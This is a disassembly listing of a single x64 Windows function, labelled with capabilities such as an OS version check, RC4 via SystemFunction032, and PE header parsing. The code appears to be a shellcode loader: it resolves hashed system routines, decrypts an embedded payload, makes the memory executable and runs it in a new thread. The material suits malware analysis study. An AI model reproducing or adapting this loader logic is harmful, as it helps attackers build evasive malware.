Function at 0x140001070
Capabilities:
Check os version
Encrypt data using rc4 via systemfunction032
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140005018]
xor rax, rsp
mov qword [rbp + 0x20], rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
test rax, rax
je 0x14000136b
cmp dword [rax + 0x118], 0xa
jne 0x14000136b
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x20]
mov eax, 0x5a4d
mov rdi, qword [rcx]
mov rcx, qword [rdi + 0x20]
cmp word [rcx], ax
jne 0x14000136b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14000136b
mov ebx, dword [rax + rcx + 0x88]
add rbx, rcx
je 0x14000136b
xorps xmm0, xmm0
lea r8, [rsp + 0x60]
xor eax, eax
mov rdx, rbx
mov qword [rbp - 0x30], rax
movabs rax, 0xccd2b217fde7229b
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x68], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
call fcn.1400013a0
test eax, eax
je 0x14000136b
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x70]
movabs rax, 0x4d68409a7808ab5f
mov rdx, rbx
mov qword [rbp - 0x68], rax
call fcn.1400013a0
test eax, eax
je 0x14000136b
mov rcx, qword [rdi + 0x20]
lea r8, [rsp + 0x78]
movabs rax, 0xca1fd68b88d69437
mov rdx, rbx
mov qword [rbp - 0x80], rax
call fcn.1400013a0
test eax, eax
je 0x14000136b
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x58]
movabs rax, 0x63ddc422cc7305cb
mov rdx, rbx
mov qword [rbp - 0x50], rax
call fcn.1400013a0
test eax, eax
je 0x14000136b
mov rcx, qword [rdi + 0x20]
lea r8, [rbp - 0x40]
movabs rax, 0x65a58aca2577b141
mov rdx, rbx
mov qword [rbp - 0x38], rax
call fcn.1400013a0
test eax, eax
je 0x14000136b
lea rax, [0x140005160]
mov dword [rbp - 8], 0x10
lea rdi, [0x140005050]
mov qword [rbp], rax
lea rcx, str.Advapi32
mov qword [rbp - 0x10], rdi
mov dword [rbp - 4], 0x10
mov dword [rbp - 0x18], 0x110
mov dword [rbp - 0x14], 0x110
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x18]
call rax
test eax, eax
je 0x14000124c
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
xor eax, eax
jmp 0x140001370
movzx ecx, word [rsp + 0x70]
xor ebx, ebx
mov qword [rbp - 0x20], rbx
mov dword [rbp + 8], ebx
mov qword [rbp + 0x18], rbx
mov qword [rbp - 0x18], rbx
mov qword [rbp + 0x10], 0x110
mov qword [rbp - 8], 0x110
call fcn.1400014f0
lea r9, [rbp - 8]
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp - 0x20]
lea rcx, [rbx - 1]
call fcn.140001501
test eax, eax
jne 0x140001361
movzx ecx, word [rbp - 0x30]
call fcn.1400014f0
mov r9, qword [rbp + 0x10]
lea rax, [rbp + 0x18]
mov rdx, qword [rbp - 0x20]
lea rcx, [rbx - 1]
mov r8, rdi
mov qword [rsp + 0x20], rax
call fcn.140001501
test eax, eax
jne 0x140001361
mov rax, qword [rbp + 0x10]
cmp qword [rbp + 0x18], rax
jne 0x140001361
movzx ecx, word [rbp - 0x78]
call fcn.1400014f0
lea rax, [rbp + 8]
lea r9d, [rbx + 0x40]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x10]
lea rdx, [rbp - 0x20]
lea rcx, [rbx - 1]
call fcn.140001501
test eax, eax
jne 0x140001361
movzx ecx, word [rbp - 0x60]
call fcn.1400014f0
mov rax, qword [rbp - 0x20]
lea r9, [rbx - 1]
mov qword [rsp + 0x50], rbx
lea rcx, [rbp - 0x18]
mov qword [rsp + 0x48], rbx
xor r8d, r8d
mov qword [rsp + 0x40], rbx
mov edx, 0x1fffff
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call fcn.140001501
test eax, eax
jne 0x140001361
mov rcx, qword [rbp - 0x18]
mov edx, 0x3e8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x140001370
mov eax, 1
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140001520
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret